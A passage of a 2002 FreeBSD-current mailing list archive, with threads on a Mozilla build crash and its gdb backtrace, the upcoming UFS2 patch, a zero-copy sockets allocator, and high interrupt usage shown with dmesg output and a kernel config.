> ../lib/libncurses++.a(cursesmain.o)(.eh_frame+0x11):

You are doing something very wrong.  We don't build libncurses++.a
anywhere that I can find.

> undefined reference to `__gxx_personality_v0'
> *** Error code 1
> 
> Stop in /usr/src/contrib/ncurses/c++.
> *** Error code 1

Nor should make be down in src/contrib

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 18:48:40 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.tgd.net (mail.tgd.net [209.81.25.10])
	by hub.freebsd.org (Postfix) with ESMTP id 89AAD37B404
	for <freebsd-current@FreeBSD.ORG>; Wed, 19 Jun 2002 18:48:32 -0700 (PDT)
Received: by mail.tgd.net (Postfix, from userid 1001)
	id 6E3F820F05; Wed, 19 Jun 2002 18:30:56 -0700 (PDT)
Date: Wed, 19 Jun 2002 18:30:56 -0700
From: Sean Chittenden <sean@chittenden.org>
To: Kris Kennaway <kris@obsecurity.org>
Cc: walt <wsheets@sbcglobal.net>,
	freebsd-current <freebsd-current@FreeBSD.ORG>
Subject: Re: The -current state of mozilla affairs
Message-ID: <20020619183056.K31745@ninja1.internal>
References: <3CFC588A.9070903@sbcglobal.net> <20020604134655.B62465@xor.obsecurity.org>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="J4XPiPrVK1ev6Sgr"
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020604134655.B62465@xor.obsecurity.org>; from "kris@obsecurity.org" on Tue, Jun 04, 2002 at = 01:46:56PM
X-PGP-Key: 0x1EDDFAAD
X-PGP-Fingerprint: C665 A17F 9A56 286C 5CFB 1DEA 9F4F 5CEF 1EDD FAAD
X-Web-Homepage: http://sean.chittenden.org/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--J4XPiPrVK1ev6Sgr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

> > The kind of compile errors for mozilla have been changing as the
> > C++ problems get fixed.  Today's error is one I haven't seen
> > before--a core dump.  Does this suggest a non-c++ problem that
> > needs fixing?  Sorry about the line-wrap:  I put extra CR's where
> > the linebreaks are.
>=20
> I'm seeing this on one of my 4.x i386 boxes and on the (4.x) alpha
> ports cluster.  When I try and compile mozilla with -ggdb to get a
> traceback I get an internal compiler error :-(

I supped a -CURRENT system 3 days ago and am still having the problem
described here, but the gcc that's in the base system is 3.1 at this
point.  I'm installing gcc32 now and will try building this again
using a newer version of GCC but am not sure if this'll fix anything.
Anyone have any ideas/clues?  -sc

--=20
Sean Chittenden

--J4XPiPrVK1ev6Sgr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=gdb_out

(no debugging symbols found)...Core was generated by `regxpcom'.
Program terminated with signal 11, Segmentation fault.
(no debugging symbols found)...#0  0x284b01a0 in nsXPCException::CanGetProperty(nsID const*, unsigned short const*, char**)
    () from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libxpconnect.so
#0  0x284b01a0 in nsXPCException::CanGetProperty(nsID const*, unsigned short const*, char**) ()
   from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libxpconnect.so
#1  0x281277cb in XPTC_InvokeByIndex () from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libxpcom.so
#2  0x284c2b1b in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) ()
   from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libxpconnect.so
#3  0x284c87a4 in XPC_WN_CallMethod(JSContext*, JSObject*, unsigned, long*, long*) ()
   from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libxpconnect.so
#4  0x285046c2 in js_Invoke () from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libmozjs.so
#5  0x28504922 in js_InternalInvoke () from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libmozjs.so
#6  0x285184c7 in js_TryMethod () from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libmozjs.so
#7  0x28517555 in js_DefaultValue () from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libmozjs.so
#8  0x28532605 in js_ValueToString () from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libmozjs.so
#9  0x284fee8b in js_ReportUncaughtException () from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libmozjs.so
#10 0x284e5f79 in JS_ExecuteScript () from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libmozjs.so
#11 0x2854b7df in mozJSComponentLoader::GlobalForLocation(char const*, nsIFile*) ()
   from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsloader.so
#12 0x2854ae2b in mozJSComponentLoader::ModuleForLocation(char const*, nsIFile*) ()
   from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsloader.so
#13 0x2854a658 in mozJSComponentLoader::AttemptRegistration(nsIFile*, int) ()
   from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsloader.so
#14 0x2854a425 in mozJSComponentLoader::AutoRegisterComponent(int, nsIFile*, int*) ()
   from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsloader.so
#15 0x28549fac in mozJSComponentLoader::RegisterComponentsInDir(int, nsIFile*) ()
   from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsloader.so
#16 0x28549e8a in mozJSComponentLoader::AutoRegisterComponents(int, nsIFile*) ()
   from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsloader.so
#17 0x281068bb in nsComponentManagerImpl::AutoRegisterImpl(int, nsIFile*, int) ()
   from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libxpcom.so
#18 0x28106cfd in nsComponentManagerImpl::AutoRegister(nsIFile*) ()
   from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libxpcom.so
#19 0x80498a3 in __register_frame_info ()
#20 0x8049251 in __register_frame_info ()

--J4XPiPrVK1ev6Sgr--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 18:52:42 2002
Delivered-To: freebsd-current@freebsd.org
Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80])
	by hub.freebsd.org (Postfix) with ESMTP
	id E19E337B40A; Wed, 19 Jun 2002 18:52:38 -0700 (PDT)
Received: by wantadilla.lemis.com (Postfix, from userid 1004)
	id D761A81473; Thu, 20 Jun 2002 11:22:36 +0930 (CST)
Date: Thu, 20 Jun 2002 11:22:36 +0930
From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: Poul-Henning Kamp <phk@freebsd.org>
Cc: current@freebsd.org
Subject: Re: HEADSUP:  UFS2 patch coming...
Message-ID: <20020620015236.GF23122@wantadilla.lemis.com>
References: <34805.1024474049@critter.freebsd.dk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <34805.1024474049@critter.freebsd.dk>
User-Agent: Mutt/1.3.99i
Organization: The FreeBSD Project
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-418-838-708
WWW-Home-Page: http://www.FreeBSD.org/
X-PGP-Fingerprint: 9A1B 8202 BCCE B846 F92F  09AC 22E6 F290 507A 4223
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wednesday, 19 June 2002 at 10:07:29 +0200, Poul-Henning Kamp wrote:
>
> Kirk is loading and aiming is committatron with the UFS2 patch,
> expect to see it hit -current any day soon.

Any details of what it will contain?

Greg
--
See complete headers for address and phone numbers

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 19: 3:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: by hub.freebsd.org (Postfix, from userid 931)
	id B7FDB37B403; Wed, 19 Jun 2002 19:03:31 -0700 (PDT)
Date: Wed, 19 Jun 2002 19:03:31 -0700
From: Juli Mallett <jmallett@FreeBSD.org>
To: Greg 'groggy' Lehey <grog@FreeBSD.org>
Cc: Poul-Henning Kamp <phk@freebsd.org>, current@freebsd.org
Subject: Re: HEADSUP:  UFS2 patch coming...
Message-ID: <20020619190331.A68914@FreeBSD.ORG>
References: <34805.1024474049@critter.freebsd.dk> <20020620015236.GF23122@wantadilla.lemis.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020620015236.GF23122@wantadilla.lemis.com>; from grog@FreeBSD.org on Thu, Jun 20, 2002 at 11:22:36AM +0930
Organisation: The FreeBSD Project <http://FreeBSD.org>
X-Alternate-Addresses: <jmallett@NewGold.NET>, <jmallett@xMach.org>, <juli@jerkcity.com>, <flata@toxic.magnesium.net>
X-Affiliated-Projects: FreeBSD, xMach, ircd-hybrid-7
X-Towel: Yes
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

* Greg 'groggy' Lehey <grog@FreeBSD.org> escriurères
> On Wednesday, 19 June 2002 at 10:07:29 +0200, Poul-Henning Kamp wrote:
> >
> > Kirk is loading and aiming is committatron with the UFS2 patch,
> > expect to see it hit -current any day soon.
> 
> Any details of what it will contain?
> 
> Greg

http://phk.freebsd.dk/patch/ufs2.patch

I believe.

It speaks for itself.  Of course the first thing that shows up is more
devfs related than UFS2 related and probably should be committed in a
seperate commit, if at all, cause that's what NO_MAKEDEV_INSTALL is for.
-- 
Juli Mallett <jmallett@FreeBSD.org>       | FreeBSD: The Power To Serve
Will break world for fulltime employment. | finger jmallett@FreeBSD.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 19:12:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from creme-brulee.marcuscom.com (rdu57-17-158.nc.rr.com [66.57.17.158])
	by hub.freebsd.org (Postfix) with ESMTP id 68E8437B401
	for <freebsd-current@FreeBSD.ORG>; Wed, 19 Jun 2002 19:12:07 -0700 (PDT)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.12.3/8.12.3) with ESMTP id g5K29xB4043053;
	Wed, 19 Jun 2002 22:09:59 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
Subject: Re: The -current state of mozilla affairs
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: Sean Chittenden <sean@chittenden.org>
Cc: Kris Kennaway <kris@obsecurity.org>,
	walt <wsheets@sbcglobal.net>,
	freebsd-current <freebsd-current@FreeBSD.ORG>
In-Reply-To: <20020619183056.K31745@ninja1.internal>
References: <3CFC588A.9070903@sbcglobal.net>
	<20020604134655.B62465@xor.obsecurity.org> 
	<20020619183056.K31745@ninja1.internal>
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-IvMkbofQCoEbvnYykXFL"
X-Mailer: Ximian Evolution 1.0.7 
Date: 19 Jun 2002 22:12:39 -0400
Message-Id: <1024539159.44782.21.camel@shumai.marcuscom.com>
Mime-Version: 1.0
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--=-IvMkbofQCoEbvnYykXFL
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Wed, 2002-06-19 at 21:30, Sean Chittenden wrote:
> > > The kind of compile errors for mozilla have been changing as the
> > > C++ problems get fixed.  Today's error is one I haven't seen
> > > before--a core dump.  Does this suggest a non-c++ problem that
> > > needs fixing?  Sorry about the line-wrap:  I put extra CR's where
> > > the linebreaks are.
> >=20
> > I'm seeing this on one of my 4.x i386 boxes and on the (4.x) alpha
> > ports cluster.  When I try and compile mozilla with -ggdb to get a
> > traceback I get an internal compiler error :-(
>=20
> I supped a -CURRENT system 3 days ago and am still having the problem
> described here, but the gcc that's in the base system is 3.1 at this
> point.  I'm installing gcc32 now and will try building this again
> using a newer version of GCC but am not sure if this'll fix anything.
> Anyone have any ideas/clues?  -sc

I do, but admittedly, it's not my idea.  Peter Kostouros has said that
defining THUNK_BASED_THIS_ADJUST in
xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h fixes the
build problem on -CURRENT.  I have not tested this yet, but I did test a
build with gcc31 from ports (per mbr@'s suggestion), and that works just
fine. =20

I want to test Peter's suggestion before I add more bloat to Mozilla.  I
just have a really slow -CURRENT machine.  If you'd like to test the
option, undefine CFRONT_STYLE_THIS_ADJUST, and define
THUNK_BASED_THIS_ADJUST in the above header file, and see if it works.

Joe

>=20
> --=20
> Sean Chittenden
> ----
>=20

> (no debugging symbols found)...Core was generated by `regxpcom'.
> Program terminated with signal 11, Segmentation fault.
> (no debugging symbols found)...#0  0x284b01a0 in nsXPCException::CanGetPr=
operty(nsID const*, unsigned short const*, char**)
>     () from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libxp=
connect.so
> #0  0x284b01a0 in nsXPCException::CanGetProperty(nsID const*, unsigned sh=
ort const*, char**) ()
>    from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libxpconn=
ect.so
> #1  0x281277cb in XPTC_InvokeByIndex () from /usr/ports/www/mozilla/work/=
mozilla/dist/bin/./libxpcom.so
> #2  0x284c2b1b in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappe=
dNative::CallMode) ()
>    from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libxpconn=
ect.so
> #3  0x284c87a4 in XPC_WN_CallMethod(JSContext*, JSObject*, unsigned, long=
*, long*) ()
>    from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libxpconn=
ect.so
> #4  0x285046c2 in js_Invoke () from /usr/ports/www/mozilla/work/mozilla/d=
ist/bin/./libmozjs.so
> #5  0x28504922 in js_InternalInvoke () from /usr/ports/www/mozilla/work/m=
ozilla/dist/bin/./libmozjs.so
> #6  0x285184c7 in js_TryMethod () from /usr/ports/www/mozilla/work/mozill=
a/dist/bin/./libmozjs.so
> #7  0x28517555 in js_DefaultValue () from /usr/ports/www/mozilla/work/moz=
illa/dist/bin/./libmozjs.so
> #8  0x28532605 in js_ValueToString () from /usr/ports/www/mozilla/work/mo=
zilla/dist/bin/./libmozjs.so
> #9  0x284fee8b in js_ReportUncaughtException () from /usr/ports/www/mozil=
la/work/mozilla/dist/bin/./libmozjs.so
> #10 0x284e5f79 in JS_ExecuteScript () from /usr/ports/www/mozilla/work/mo=
zilla/dist/bin/./libmozjs.so
> #11 0x2854b7df in mozJSComponentLoader::GlobalForLocation(char const*, ns=
IFile*) ()
>    from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsload=
er.so
> #12 0x2854ae2b in mozJSComponentLoader::ModuleForLocation(char const*, ns=
IFile*) ()
>    from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsload=
er.so
> #13 0x2854a658 in mozJSComponentLoader::AttemptRegistration(nsIFile*, int=
) ()
>    from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsload=
er.so
> #14 0x2854a425 in mozJSComponentLoader::AutoRegisterComponent(int, nsIFil=
e*, int*) ()
>    from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsload=
er.so
> #15 0x28549fac in mozJSComponentLoader::RegisterComponentsInDir(int, nsIF=
ile*) ()
>    from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsload=
er.so
> #16 0x28549e8a in mozJSComponentLoader::AutoRegisterComponents(int, nsIFi=
le*) ()
>    from /usr/ports/www/mozilla/work/mozilla/dist/bin/components/libjsload=
er.so
> #17 0x281068bb in nsComponentManagerImpl::AutoRegisterImpl(int, nsIFile*,=
 int) ()
>    from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libxpcom.so
> #18 0x28106cfd in nsComponentManagerImpl::AutoRegister(nsIFile*) ()
>    from /usr/ports/www/mozilla/work/mozilla/dist/bin/./libxpcom.so
> #19 0x80498a3 in __register_frame_info ()
> #20 0x8049251 in __register_frame_info ()


--=-IvMkbofQCoEbvnYykXFL
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)

iD8DBQA9EToXb2iPiv4Uz4cRAtJ8AKCpI47O/ujRUvB03Ess1MS0Nu2nzwCdGfRb
L//LCqlYyHj53y+INrBSV/Y=
=Q172
-----END PGP SIGNATURE-----

--=-IvMkbofQCoEbvnYykXFL--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 19:52:52 2002
Delivered-To: freebsd-current@freebsd.org
Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1])
	by hub.freebsd.org (Postfix) with ESMTP
	id 71AE837B410; Wed, 19 Jun 2002 19:52:46 -0700 (PDT)
Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30])
	by duke.cs.duke.edu (8.9.3/8.9.3) with ESMTP id WAA18593;
	Wed, 19 Jun 2002 22:52:36 -0400 (EDT)
Received: (from gallatin@localhost)
	by grasshopper.cs.duke.edu (8.11.6/8.9.1) id g5K2q6p29304;
	Wed, 19 Jun 2002 22:52:06 -0400 (EDT)
	(envelope-from gallatin@cs.duke.edu)
From: Andrew Gallatin <gallatin@cs.duke.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15633.17238.109126.952673@grasshopper.cs.duke.edu>
Date: Wed, 19 Jun 2002 22:52:06 -0400 (EDT)
To: Bosko Milekic <bmilekic@unixdaemons.com>
Cc: "Kenneth D. Merry" <ken@kdm.org>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
In-Reply-To: <20020619120641.A18434@unixdaemons.com>
References: <20020618223635.A98350@panzer.kdm.org>
	<xzpelf3ida1.fsf@flood.ping.uio.no>
	<20020619090046.A2063@panzer.kdm.org>
	<20020619120641.A18434@unixdaemons.com>
X-Mailer: VM 6.75 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Bosko Milekic writes:
 > 
 >   - It's kind of unfortunate that uipc_jumbo.c has to roll its own
 >     allocator;  There are a couple of alternatives; to just use 

The point of uipc_jumbo.c rolling its own allocator is that it
allocates free pages which can be "flipped" (re-mapped) into
user-space to avoid a memory copy.  The use of this allocator is
confined to nic's with firmware which is smart enough to split off
headers from payloads. (Currently only Ken's modified if_ti.c; and my
old Trapeze/Myrinet driver though I plan to implment this in the
official Myricom GM firmware/FreeBSD driver if the zero-copy sockets
patch is committed).

Its somewhat out of date, but you might want to read my '99 Freenix
paper. It gives a good overview of the zero-copy patch.
http://www.cs.duke.edu/ari/publications/tcpgig.pdf

This is orthogonal to the zero-copy patch, but it _would_ be nice to
have general purpose mbuf allocator which could allocate mbuf clusters
with 9K physically contigous for dumber nics.  There are a whole slew
of drivers (unpatched ti, bge, nge, lge, etc) which roll their own for
no better reason than the system doesn't offer this feature.  That's
what needs fixing.  Heck, if such an allocator was available, we could
use it for copyin's of large chunks of data.   Tru64 has 8K and 2K
clusters and does this. (based from emperical evidence garnered at the
driver level).


Drew






To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 20:17:59 2002
Delivered-To: freebsd-current@freebsd.org
Received: from sccrmhc01.attbi.com (sccrmhc01.attbi.com [204.127.202.61])
	by hub.freebsd.org (Postfix) with ESMTP id 07A7C37B406
	for <current@freebsd.org>; Wed, 19 Jun 2002 20:17:47 -0700 (PDT)
Received: from attbi.com ([24.60.235.125]) by sccrmhc01.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020620031746.UUEV1024.sccrmhc01.attbi.com@attbi.com>
          for <current@freebsd.org>; Thu, 20 Jun 2002 03:17:46 +0000
Message-ID: <3D11575E.3070703@attbi.com>
Date: Thu, 20 Jun 2002 00:17:34 -0400
From: Anthony Jenkins <abjenkins@attbi.com>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.0.0) Gecko/20020609
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: FreeBSD-current <current@freebsd.org>
Subject: High interrupt usage in system (ohci and/or pcm?)
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

  Hi,

Ever since cvsup'ing/building a new kernel a couple weeks ago I've had 
ridiculously high interrupt state percentages shown in top(1), from 
70%-98%.  My system (1 Athlon MP 1800+, Tyan 2466 dual board, 512MB, SMP 
kernel) is running at about 20% of its previous responsiveness.  Running 
single-user mode offers no change to the high interrupt state measure. 
 I cvsup'd yesterday and installed world+kernel, but no luck.  I'll post 
my kernel config below, with most comment/blank lines removed for space, 
as well as my dmesg output.

Okay, looking at 'ps axlww' shows the ochi1 and pcm drivers with '263' 
in the CPU column... setiathome is a measly 119:

    0    26     0 263 -64  0     0    3 -      RL    ??  157:51.30  
(irq10: ohci1 pcm0)

I load pcm through the loader(8) mechanism using a pcm_load="YES" line 
in /boot/loader.conf, but it had always been sane before; ohci is in 
kernel config.  My USB devices are a MS Intellimouse and an IBM webcam 
(this is a dual-boot box now).  Any other tools I can use to determine 
where my cycles are going?

Okay, I killed X and unloaded the pcm driver and usage is around 64-67% 
in interrupt state, and a bit more responsive, but the ohci listing in 
ps(1) still seems to be the culprit:

    0    26     0 242 -64  0     0    3 Giant  ML    ??  164:54.23  
(irq10: ohci1)

It seems that 8 out of 9 times I get "Giant ML" in the listing... 
probably related to the several warnings I get on console?  Here's some 
output from dmesg(8):

/usr/src/sys/vm/uma_core.c:1330: could sleep with "pcm0:play:0" locked 
from /usr/src/sys/dev/sound/pcm/sound.c:191
/usr/src/sys/vm/uma_core.c:1330: could sleep with "pcm0:record:0" locked 
from /usr/src/sys/dev/sound/pcm/sound.c:191
/usr/src/sys/vm/uma_core.c:1330: could sleep with "pcm0:play:0" locked 
from /usr/src/sys/dev/sound/pcm/sound.c:191
/usr/src/sys/vm/uma_core.c:1330: could sleep with "pcm0:record:0" locked 
from /usr/src/sys/dev/sound/pcm/sound.c:191
...
lock order reversal
 1st 0xdf5fab34 process lock (process lock) @ 
/usr/src/sys/kern/kern_exec.c:319
 2nd 0xc0318d80 filelist lock (filelist lock) @ 
/usr/src/sys/kern/kern_descrip.c:1112
/usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" locked 
from /usr/src/sys/kern/kern_exec.c:319
/usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" locked 
from /usr/src/sys/kern/kern_exec.c:319
...
/usr/src/sys/vm/uma_core.c:1330: could sleep with "xl0" locked from 
/usr/src/sys/pci/if_xl.c:415
pcm0: unregister: channel pcm0:play:0 busy (pid 13129)
IP firewall unloaded
IP packet filtering initialized, divert disabled, rule-based forwarding 
disabled, default to deny, logging disabled
pid 13008 (cupsd), uid 0: exited on signal 10 (core dumped)
/usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" locked 
from /usr/src/sys/kern/kern_prot.c:511
/usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" locked 
from /usr/src/sys/kern/kern_prot.c:511
pcm0: warning: memblock list not empty
pcm0: detached
emujoy0: detached
/usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" locked 
from /usr/src/sys/kern/kern_prot.c:511
/usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" locked 
from /usr/src/sys/kern/kern_prot.c:511
[/usr/home/ajenkins]{41}: /usr/src/sys/vm/uma_core.c:1330: could sleep 
with "process lock" locked from /usr/src/sys/kern/kern_exec.c:319
/usr/src/sys/vm/uma_core.c:1330:: Too many arguments.
/usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" locked 
from /usr/src/sys/kern/kern_exec.c:319
[/usr/home/ajenkins]{42}: /usr/src/sys/vm/uma_core.c:1330: could sleep 
with "process lock" locked from /usr/src/sys/kern/kern_exec.c:319
/usr/src/sys/vm/uma_core.c:1330:: Too many arguments.

Kernel config:

machine         i386
#cpu            I386_CPU               
cpu             I486_CPU
cpu             I586_CPU
cpu             I686_CPU
ident           "MYKERNEL-5.0"
options         CPU_ATHLON_SSE_HACK
maxusers        0
#hints          "GENERIC.hints"         #Default places to look for devices.
makeoptions     DEBUG=-g                #Build kernel with gdb(1) debug 
symbols
options         INET                    #InterNETworking
#options        INET6                   #IPv6 communications protocols
options         FFS                     #Berkeley Fast Filesystem
options         SOFTUPDATES             #Enable FFS soft updates support
options         UFS_DIRHASH             #Improve performance on big 
directories
options         MD_ROOT                 #MD is a potential root device
options         NFSCLIENT               #Network Filesystem Client
options         NFSSERVER               #Network Filesystem Server
options         NFS_ROOT                #NFS usable as root device, 
requires NFSCLIENT
options         MSDOSFS                 #MSDOS Filesystem
options         CD9660                  #ISO 9660 Filesystem
options         PROCFS                  #Process filesystem (requires 
PSEUDOFS)
options         PSEUDOFS                #Pseudo-filesystem framework
options         COMPAT_43               #Compatible with BSD 4.3 [KEEP 
THIS!]
options         SCSI_DELAY=5000         #Delay (in ms) before probing SCSI
options         KTRACE                  #ktrace(1) support
options         SYSVSHM                 #SYSV-style shared memory
options         SYSVMSG                 #SYSV-style message queues
options         SYSVSEM                 #SYSV-style semaphores
options         P1003_1B                #Posix P1003_1B real-time extensions
options         _KPOSIX_PRIORITY_SCHEDULING
options         KBD_INSTALL_CDEV        # install a CDEV entry in /dev
options         DDB                     #Enable the kernel debugger
#options        INVARIANTS              #Enable calls of extra sanity 
checking
#options        INVARIANT_SUPPORT       #Extra sanity checks of internal 
structures, required by INVARIANTS
options         WITNESS                 #Enable checks to detects 
deadlocks and cycles
options         WITNESS_SKIPSPIN        #Don't run witness on spinlocks 
for speed
options         COMPAT_LINUX
options         LINPROCFS
options         SMP                     # Symmetric MultiProcessor Kernel
options         APIC_IO                 # Symmetric (APIC) I/O
device          isa
device          eisa
device          pci
#options        PCI_ENABLE_IO_MODES     # Enable pci resources left off 
by a "lazy BIOS"
device          fdc
device          ata
device          atadisk                 # ATA disk drives
device          atapicd                 # ATAPI CDROM drives
#device         atapifd                 # ATAPI floppy drives
#device         atapist                 # ATAPI tape drives
options         ATA_STATIC_ID           #Static device numbering
device          isp             # Qlogic family
device          scbus           # SCSI bus (required)
device          ch              # SCSI media changers
device          da              # Direct Access (disks)
device          sa              # Sequential Access (tape etc)
device          cd              # CD
device          pass            # Passthrough device (direct SCSI access)
device          ses             # SCSI Environmental Services (and SAF-TE)
device          atkbdc  1       # At keyboard controller
device          atkbd           # at keyboard
device          psm             # psm mouse
device          vga             # VGA screen
device          agp
device          splash
device          sc      1
#device         vt
options         XSERVER                 # support for X server on a vt 
console
#options        FAT_CURSOR              # start with block cursor
device          npx
#device         apm
device          pmtimer
device          sio             # 8250, 16[45]50 based serial ports
device          ppc
device          ppbus           # Parallel port bus (required)
device          lpt             # Printer
device          plip            # TCP/IP over parallel
device          ppi             # Parallel port interface device
#device         vpo             # Requires scbus and da
device          miibus          # MII bus support
device          xl              # 3Com 3c90x (``Boomerang'', ``Cyclone'')
device          random          # Entropy device
